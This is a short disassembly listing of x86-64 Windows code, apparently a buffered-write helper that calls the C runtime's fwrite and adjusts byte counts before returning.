mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140012fb9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140012fb9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret